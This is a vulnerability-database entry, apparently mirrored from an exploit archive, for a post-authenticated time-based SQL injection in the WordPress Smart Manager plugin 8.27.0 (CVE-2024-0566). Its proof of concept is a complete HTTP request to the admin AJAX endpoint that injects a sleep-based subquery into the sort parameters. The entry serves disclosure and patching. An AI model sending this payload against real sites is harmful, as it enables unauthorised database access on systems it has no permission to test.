Lucene search
K

๐Ÿ“„ Smart Manager 8.27.0 SQL Injection

๐Ÿ—“๏ธย 16 Apr 2025ย 00:00:00Reported byย Ivan SpiridonovTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 250ย Views

Smart Manager 8.27.0 has a post-authenticated SQL injection vulnerability affecting high-privilege users.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Storeapps Smart_Manager
9 May 202417:30
โ€“githubexploit
Circl
CVE-2024-0566
12 Feb 202417:22
โ€“circl
CNNVD
WordPress Plugin Smart Manager SQL Injection Vulnerability
12 Feb 202400:00
โ€“cnnvd
CVE
CVE-2024-0566
12 Feb 202416:05
โ€“cve
Cvelist
CVE-2024-0566 Smart Manager < 8.28.0 - Admin+ SQL Injection
12 Feb 202416:05
โ€“cvelist
Exploit DB
Smart Manager 8.27.0 - Post-Authenticated SQL Injection
16 Apr 202500:00
โ€“exploitdb
EUVD
EUVD-2024-16359
3 Oct 202520:07
โ€“euvd
NVD
CVE-2024-0566
12 Feb 202416:15
โ€“nvd
Patchstack
WordPress Smart Manager Plugin < 8.28.0 is vulnerable to SQL Injection
13 Feb 202400:00
โ€“patchstack
Prion
Sql injection
12 Feb 202416:15
โ€“prion
Rows per page
# Exploit Title: Smart Manager 8.27.0 - Post-Authenticated SQL Injection  
    # Date: 2024-01-18  
    # Exploit Author: Ivan Spiridonov - xbz0n  
    # Vendor Homepage: https://www.storeapps.org/    
    # Software Link: https://www.storeapps.org/product/smart-manager/  
    # Version: 8.27.0  
    # Tested on: Ubuntu 22.04  
    # CVE: CVE-2024-0566
    
    ## SQL Injection
    
    The plugin does not properly sanitize and escape a parameter before using it in an SQL statement, leading to an SQL injection exploitable by high-privilege users such as admin.
    
    ## Affected Components
    
    - **Plugin:** Smart Manager
    - **Version:** 8.27.0
    - **Affected Parameters:** 'sort_params%5BsortOrder%5D', 'sort_params%5Bcolumn%5D'
    - **Affected Endpoint:** /wp-admin/admin-ajax.php
    
    ## Description
    
    The vulnerability is located within the admin AJAX endpoint in the sorting parameters 'sort_params%5BsortOrder%5D' and 'sort_params%5Bcolumn%5D'. By manipulating these parameters, authenticated attackers can inject SQL commands, leading to a time-based SQL Injection vulnerability.
    
    ## Proof of Concept
    
    ### Manual Exploitation
    
    ```http
    POST /wp-admin/admin-ajax.php?action=sm_beta_include_file HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/plain, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://localhost/wp-admin/admin.php?page=smart-manager
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 1117
    Origin: http://localhost
    Connection: close
    Cookie: Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    cmd=get_data_model&active_module=product&security=37e8d818b7&is_public=1&sm_page=1&sm_limit=50&SM_IS_WOO30=true&sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&table_model%5Bposts%5D%5Bpkey%5D=ID&table_model%5Bposts%5D%5Bjoin_on%5D=&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&table_model%5Bterms%5D%5Bpkey%5D=term_id&table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&search_text=&advanced_search_query=%5B%5D&is_view=0&isTasks=0&is_taxonomy=0
    ```
    
    If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.
    
    ## Recommendations
    
    Users of Smart Manager v8.27.0 are strongly advised to restrict access to the affected endpoint and update the plugin to the latest version.

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2025 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.2
EPSS0.02523
SSVC
250